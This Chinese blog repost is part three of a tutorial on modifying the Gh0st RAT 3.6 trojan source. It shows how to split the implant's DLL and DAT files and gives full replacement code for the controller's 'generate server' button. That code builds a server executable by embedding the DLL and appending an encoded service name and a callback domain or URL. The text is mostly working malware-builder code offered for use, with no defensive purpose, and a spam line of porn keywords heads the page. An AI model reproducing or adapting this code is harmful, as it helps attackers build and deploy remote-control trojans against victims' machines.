日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Gh0st源码学习(三)生成DLL和DAT文件

發布時間:2024/4/11 编程问答 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Gh0st源码学习(三)生成DLL和DAT文件 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
從生成的EXE文件中分離出DLL和DAT 文件
一、自定義DLL和DAT文件的生成路徑
 先搜索 IDR_BSS 、 IDR_DLL
? 1、 IDR_DLL
? 位置:\Gh0st3.6原版\Server\install\install.cpp(418):??? ??? ReleaseResource(NULL, IDR_DLL, "BIN", strModulePath, lpConfigString);
 
???? if (lpServiceName != NULL)
?? ?{
?? ??? ?//修改
?? ?//?? ?ReleaseResource(NULL, IDR_DLL, "BIN", strModulePath, lpConfigString);
?? ??? ?ReleaseResource(NULL, "DLL", "BIN", strModulePath, lpConfigString);
?? ?}
?
? 附:查找 ReleaseResource
   
???? 修改其代碼:BOOL ReleaseResource(HMODULE hModule, DWORD wResourceID, LPCTSTR lpType, LPCTSTR lpFileName, LPCTSTR lpConfigString)
???? 為:BOOL ReleaseResource(HMODULE hModule, LPCTSTR wResourceID, LPCTSTR lpType, LPCTSTR lpFileName, LPCTSTR lpConfigString)

???? 并將其中的:
???? hResInfo = FindResource(hModule, MAKEINTRESOURCE(wResourceID), lpType);
 改成:??? hResInfo = FindResource(hModule, wResourceID, lpType);
???



 2、\Gh0st3.6原版\Server\install\install.rc(29):IDR_DLL???????????????? BIN???? DISCARDABLE???? "res\\svchost.dll"
?//去掉這段代碼 分離DLL、DAT 修改位置 2
//IDR_DLL???????????????? BIN???? DISCARDABLE???? "res\\svchost.dll"
?? 3、\Gh0st3.6原版\Server\install\resource.h(5):#define IDR_DLL???????????????????????? 101 // 這個不能改
?//分離DLL、DAT文件 修改位置 3
//#define IDR_DLL???????????????????????? 101 // 這個不能改
//#define IDR_SYS???????????????????????? 102 // 這個不能改
???
 再搜IDR_BSS ,必須從工程的根目錄開始搜索
 4、\Gh0st3.6原版\gh0st\gh0st.rc(589):IDR_BSS???????????????? BSS???? DISCARDABLE???? "res\\install.exe"
?//分離DLL、DAT文件 修改位置 4
//IDR_BSS???????????????? BSS???? DISCARDABLE???? "res\\install.exe"

二、修改生成文件

1、右擊 svchost flies ,選擇 設置 ,連接 ,輸出文件名
  
?????? 原內容:../install/res/svchost.dll     --可以自己去 svchost目錄中找
  改成:../../bin/Update/heikehc.dll
??   
?左邊面板中單擊 install ,將對應的 輸出文件名 
? ? 原內容:../../gh0st/res/install.exe     --EXE文件,可以修改成DAT文件
  改成:../../bin/update/heikehc.dat
???
三、修改“生成服務端”按鈕對應代碼
進入 資源窗口 ,Dialog ,IDD_BUILD  ,點擊 “生成服務端” ,進入代碼編輯?
將整個 響應函數 的代碼 都替換掉!
?void CBuildView::OnBuild()?
{
?? ?// TODO: Add your control notification handler code here
?? ?UpdateData(tr);
?? ?if (m_ServiceDisplayName.IsEmpty() || m_ServiceDescription.IsEmpty())
?? ?{
?? ??? ?AfxMessageBox("請完整填寫服務顯示名稱和描述 -:(");
?? ??? ?return;
?? ?}
?? ?CString strAddress;

?? ?// 保存配置
?? ?((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Build", "DisplayName", m_ServiceDisplayName);
?? ?((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Build", "Description", m_ServiceDescription);
?? ?((CGh0stApp *)AfxGetApp())->m_IniFile.SetInt("Build", "enablehttp", m_enable_http);
?? ?if (m_enable_http)
?? ?{
?? ??? ?CString str;
?? ??? ?GetDlgItemText(IDC_URL, str);
?? ??? ?((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Build", "httpurl", str);
?? ??? ?str.MakeLower();
?? ??? ?strAddress = MyEncode(str.GetB?r(0));
?? ?}
?? ?else
?? ?{
?? ??? ?GetDlgItemText(IDC_DNS_STRING, strAddress);
?? ??? ?if (strAddress.Find("AAAA") == -1)
?? ??? ?{
?? ??? ??? ?AfxMessageBox("域名上線字串格式出錯 -:(");
?? ??? ??? ?return;
?? ??? ?}
?? ??? ?strAddress.Replace("AAAA", "");
?? ?}

?? ?CString?? ??? ?strServiceConfig;
?? ?strServiceConfig.Format("%s|%s", MyEncode(m_ServiceDisplayName.GetB?r(0)),?
?? ??? ?MyEncode(m_ServiceDescription.GetB?r(0)));

?? ?CFileDialog dlg(FALSE, "exe", "server.exe", OFN_OVERWRITEPROMPT,"可執行文件|*.exe", NULL);
?? ?if(dlg.DoModal () != IDOK)
?? ??? ?return;
?? ?char Path[MAX_PATH];
?? ?char ExePath[MAX_PATH];
?? ?char DllPath[MAX_PATH];
?? ?char BakPath[MAX_PATH];
?? ?char Wrong[MAX_PATH];
?? ?char Wrong1[MAX_PATH];
?? ?GetModuleFileName(NULL, Path, sizeof(Path));?? //獲取程序自身完整路徑名稱,即Gh0st.exe的路徑
?? ?PathRemoveFileSpec(Path);
///其實前面的和安全吧做的那個分離教程一樣..就是這里之后..重新把DAT里的DLL分離出來了.
?? ?wsprintf(ExePath,"%s%s",Path,"\\update\\heikehc.dat");
?? ?wsprintf(DllPath,"%s%s",Path,"\\update\\heikehc.dll");
?? ?wsprintf(BakPath,"%s%s",Path,"\\update\\Cache.bak");
?? ?wsprintf(Wrong,"%s%s%s%s","\"",ExePath,"\""," 哥,文件都丟失了!");
?? ?wsprintf(Wrong1,"%s%s%s%s","\"",DllPath,"\""," 哥,文件都丟失了!");

?? ?if(!CopyFile(ExePath,BakPath,FALSE))? //如果不存在dat文件就提示下
?? ?{
?? ??? ?MessageBox(Wrong,"提示");
?? ??? ?return;
?? ?}

?? ?HANDLE hFile;
??? hFile = CreateFile(DllPath, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
??? if (hFile == INVALID_HANDLE_VAL)
??? {
?? ??? ?DeleteFile(BakPath);
????? ??? ?MessageBox(Wrong1,"提示");
?? ??? ?return;
??? }

?? ?DWORD nSizeOfSrcFile = GetFileSize( hFile, &nSizeOfSrcFile );?
?? ?char *szSrcFileB = new char[ nSizeOfSrcFile ];?
?? ?ReadFile( hFile, szSrcFileB, nSizeOfSrcFile, &nSizeOfSrcFile, NULL);?

?? ?HANDLE hUpdate;
?? ?BOOL ret;
?? ?hUpdate = BeginUpdateResource(BakPath, false);
??? ret = UpdateResource(hUpdate, "BIN", "DLL", 0, szSrcFileB, nSizeOfSrcFile);
??? if (!ret)
??? {
?? ??? ?CloseHandle(hFile);
??? }
??? CloseHandle(hFile);
?? ?EndUpdateResource( hUpdate, false );?
?? ?delete []szSrcFileB;?
?? ?CloseHandle(hFile);
?? ?CopyFile(BakPath,dlg.GetPathName(),FALSE);
?? ?DeleteFile(BakPath);

?? ?CFile file;
?? ?if(file.Open (dlg.GetPathName(), CFile::modeWrite))
?? ?{
?? ??? ?try
?? ??? ?{
?? ??? ??? ?file.Seek(0,CFile::end);?????????????? //把文件指針指向文件末尾
?? ??? ??? ?// 寫入6個'C',是服務的名稱和描述
?? ??? ??? ?file.Write("CCCCCC", 6);
?? ??? ??? ?file.Write(strServiceConfig, strServiceConfig.GetLength() + 1);
?? ??? ??? ?// 寫入6個'A',安裝時查找
?? ??? ??? ?file.Write("AAAAAA", 6);
?? ??? ??? ?file.Write(strAddress, strAddress.GetLength() + 1);
?? ??? ??? ?file.Close();
?? ??? ??? ?char ShowText[200];
?? ??? ??? ?wsprintf(ShowText,"%s%s","服務端已生成到:",dlg.GetPathName());
?? ??? ??? ?MessageBox(ShowText,"提示",MB_ICONEXCLAMATION | MB_OK);
?? ??? ?}
?? ??? ?catch(...)
?? ??? ?{
?? ??? ??? ?MessageBox("文件保存失敗,請檢查...","提示",MB_OK|MB_ICONSTOP);
?? ??? ?}
?? ?}
}
???
后記:
之前單一的GHSOT是那種以文件包含文件的形式生成...(個人這樣理解..也這樣理解..)

現在我們是 用 UPDATE文件夾下面的2個文件..來讓主控端調用生成 木馬..所以生成的方式不一樣..

所以這里的 代碼也要相信的修改...

因為在DLL和DAT中都相應的修改了資源的調用..所以我們在主控端也要相應的修改生成的方式..

好了 編譯下 看有沒有錯誤

注意一點: 添加代碼注釋的時候 不要用 中文 數學、或是標點符號 。。
否則極有可以在資源編譯的時候不能順利通過!

總結

以上是生活随笔為你收集整理的Gh0st源码学习(三)生成DLL和DAT文件的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。